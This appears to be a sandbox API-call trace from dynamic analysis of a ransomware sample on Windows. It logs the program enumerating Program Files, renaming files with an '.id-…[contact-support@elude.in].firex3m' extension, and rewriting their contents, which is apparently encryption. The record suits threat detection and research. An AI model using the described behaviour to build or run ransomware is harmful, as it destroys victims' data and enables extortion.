[0225.707] WriteFile (in: hFile=0x4b8, lpBuffer=0x74ca3e8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ca3e8*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.712] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.712] WriteFile (in: hFile=0x4b8, lpBuffer=0x74d57e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d57e7*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.712] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.712] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.712] CloseHandle (hObject=0x4b8) returned 1 [0225.712] GetProcessHeap () returned 0x630000 [0225.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74ca3e8 | out: hHeap=0x630000) returned 1 [0225.719] GetProcessHeap () returned 0x630000 [0225.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74befb8 | out: hHeap=0x630000) returned 1 [0225.720] GetProcessHeap () returned 0x630000 [0225.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71769f8 | out: hHeap=0x630000) returned 1 [0226.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c7a90ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbb7e, dwReserved0=0xbc87496, dwReserved1=0x74befb0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5340 [0226.680] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0226.681] Sleep (dwMilliseconds=0x1) [0228.718] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmplayer.exe", len=0x32 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Windows Media Player\\wmplayer.exe") returned 1 [0228.718] GetProcessHeap () returned 0x630000 [0228.718] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5148) returned 0x6fe3bb0 [0228.718] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files\\windows media player\\wmplayer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.718] Sleep (dwMilliseconds=0x1) [0228.730] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmpconfig.exe", len=0x33 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Windows Media Player\\wmpconfig.exe") returned 1 [0228.730] GetProcessHeap () returned 0x630000 [0228.730] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5144) returned 0x6fe3bb0 [0228.730] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files\\windows media player\\wmpconfig.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.730] Sleep (dwMilliseconds=0x1) [0228.746] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png", len=0x48 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png") returned 1 [0228.747] GetProcessHeap () returned 0x630000 [0228.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5130) returned 0x6fe3bb0 [0228.747] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.748] Sleep (dwMilliseconds=0x1) [0228.761] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg", len=0x48 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg") returned 1 [0228.761] GetProcessHeap () returned 0x630000 [0228.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x512c) returned 0x6fe3bb0 [0228.761] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.763] Sleep (dwMilliseconds=0x1) [0228.778] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg", len=0x49 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg") returned 1 [0228.778] GetProcessHeap () returned 0x630000 [0228.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5118) returned 0x6fe3bb0 [0228.778] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.778] Sleep (dwMilliseconds=0x1) [0228.793] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml", len=0x50 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml") returned 1 [0228.793] GetProcessHeap () returned 0x630000 [0228.793] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5114) returned 0x6fe3bb0 [0228.793] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.800] Sleep (dwMilliseconds=0x1) [0230.559] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x4e7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml") returned 1 [0230.559] GetProcessHeap () returned 0x630000 [0230.559] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50dc) returned 0x6fe3bb0 [0230.559] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0230.559] CloseHandle (hObject=0x648) returned 1 [0230.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0230.560] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.202] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0234.202] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0234.202] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0234.202] GetProcessHeap () returned 0x630000 [0234.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0234.202] GetProcessHeap () returned 0x630000 [0234.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74a9eb8 [0234.202] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.202] ReadFile (in: hFile=0x648, lpBuffer=0x74aa268, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesRead=0x4e7ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0234.205] GetProcessHeap () returned 0x630000 [0234.205] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0234.205] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.205] WriteFile (in: hFile=0x648, lpBuffer=0x74a9eb8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9eb8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0234.205] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.205] WriteFile (in: hFile=0x648, lpBuffer=0x74aa057*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa057*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.205] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.205] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.205] CloseHandle (hObject=0x648) returned 1 [0234.206] GetProcessHeap () returned 0x630000 [0234.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9eb8 | out: hHeap=0x630000) returned 1 [0234.206] GetProcessHeap () returned 0x630000 [0234.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0234.206] GetProcessHeap () returned 0x630000 [0234.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0235.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x518c1807, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x4e7fd20, dwReserved1=0x74aa268, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0235.540] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.540] Sleep (dwMilliseconds=0x1) [0235.546] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x", len=0x5a | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x") returned 1 [0235.546] GetProcessHeap () returned 0x630000 [0235.546] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5034) returned 0x6fe3bb0 [0235.547] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.547] Sleep (dwMilliseconds=0x1) [0235.571] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html", len=0x6f | out: pbstr=0x4e7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html") returned 1 [0235.571] GetProcessHeap () returned 0x630000 [0235.571] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5014) returned 0x6fe3bb0 [0235.571] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.606] CloseHandle (hObject=0x4e8) returned 1 [0235.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.606] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0236.825] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.825] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0236.904] GetProcessHeap () returned 0x630000 [0236.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x6f1c300 [0236.904] GetProcessHeap () returned 0x630000 [0236.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x6f25390 [0236.905] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.905] ReadFile (in: hFile=0x6e4, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x4e7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.616] GetProcessHeap () returned 0x630000 [0242.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0242.617] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.617] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f25390*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f25390*, lpNumberOfBytesWritten=0x4e7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.617] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.617] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f2e3ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2e3ef*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.617] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.617] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.617] CloseHandle (hObject=0x6e4) returned 1 [0242.617] GetProcessHeap () returned 0x630000 [0242.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f25390 | out: hHeap=0x630000) returned 1 [0242.617] GetProcessHeap () returned 0x630000 [0242.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0242.617] GetProcessHeap () returned 0x630000 [0242.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.076] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x568f3703, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xbc87496, dwReserved1=0x6f1c2f8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0243.077] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.077] Sleep (dwMilliseconds=0x1) [0243.115] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png", len=0x7f | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png") returned 1 [0243.115] GetProcessHeap () returned 0x630000 [0243.115] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53c0) returned 0x6fe3bb0 [0243.115] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.123] Sleep (dwMilliseconds=0x1) [0243.138] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml", len=0x63 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0243.138] GetProcessHeap () returned 0x630000 [0243.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5398) returned 0x6fe3bb0 [0243.138] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.155] Sleep (dwMilliseconds=0x1) [0243.166] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Printer.png", len=0x81 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Printer.png") returned 1 [0243.166] GetProcessHeap () returned 0x630000 [0243.166] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5330) returned 0x6fe3bb0 [0243.166] 